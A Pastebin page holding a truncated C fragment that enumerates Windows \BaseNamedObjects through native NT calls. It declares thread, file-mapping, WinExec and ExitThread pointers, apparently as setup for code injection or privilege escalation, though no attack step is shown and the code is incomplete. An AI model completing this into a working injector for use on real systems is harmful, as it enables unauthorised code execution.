Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- typedef struct _LSA_UNICODE_STRING {
- USHORT Length;
- USHORT MaximumLength;
- PWSTR Buffer;
- } UNICODE_STRING;
- typedef struct _OBJDIR_INFORMATION {
- UNICODE_STRING ObjectName;
- UNICODE_STRING ObjectTypeName;
- BYTE Data[1];
- } OBJDIR_INFORMATION;
- typedef struct _OBJECT_ATTRIBUTES {
- ULONG Length;
- HANDLE RootDirectory;
- UNICODE_STRING *ObjectName;
- ULONG Attributes;
- PVOID SecurityDescriptor;
- PVOID SecurityQualityOfService;
- } OBJECT_ATTRIBUTES;
- #define InitializeObjectAttributes( p, n, a, r, s ) { \
- (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
- (p)->RootDirectory = r; \
- (p)->Attributes = a; \
- (p)->ObjectName = n; \
- (p)->SecurityDescriptor = s; \
- (p)->SecurityQualityOfService = NULL; \
- }
- typedef DWORD (WINAPI* NTQUERYDIRECTORYOBJECT)( HANDLE, OBJDIR_INFORMATION*, DWORD, DWORD ,DWORD,DWORD*,DWORD* );
- NTQUERYDIRECTORYOBJECT NtQueryDirectoryObject;
- typedef DWORD (WINAPI* NTOPENDIRECTORYOBJECT)( HANDLE *, DWORD,OBJECT_ATTRIBUTES* );
- NTOPENDIRECTORYOBJECT NtOpenDirectoryObject;
- typedef int (*MYPROC)(LPTSTR);
- OBJDIR_INFORMATION *ssinfo =(OBJDIR_INFORMATION* ) HeapAlloc(GetProcessHeap(), 0, 0x800);
- ///////////////////////
- HANDLE hFile,hThread,hMapFile;
- HMODULE hNtdll ,hKernel;
- DWORD dwThreadId;
- OBJECT_ATTRIBUTES obj;
- WCHAR * uString=L"\\BaseNamedObjects";
- UNICODE_STRING str;
- DWORD i,a,iStrLen,b=0;
- char sObjName[30],sTmp[50];
- LPVOID lpMapAddress;
- FARPROC pWinExec,pExitThread;
- bool bFound;
- char* sCommand;
- /////////////////////////////////////////////////////////////////
- NtQueryDirectoryObject = (NTQUERYDIRECTORYOBJECT )GetProcAddress(hinstLib,"NtQueryDirectoryObject");
- InitializeObjectAttributes (&obj, &str, 0, 0, 00);
- NtOpenDirectoryObject(&hFile,0x20001,&obj);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement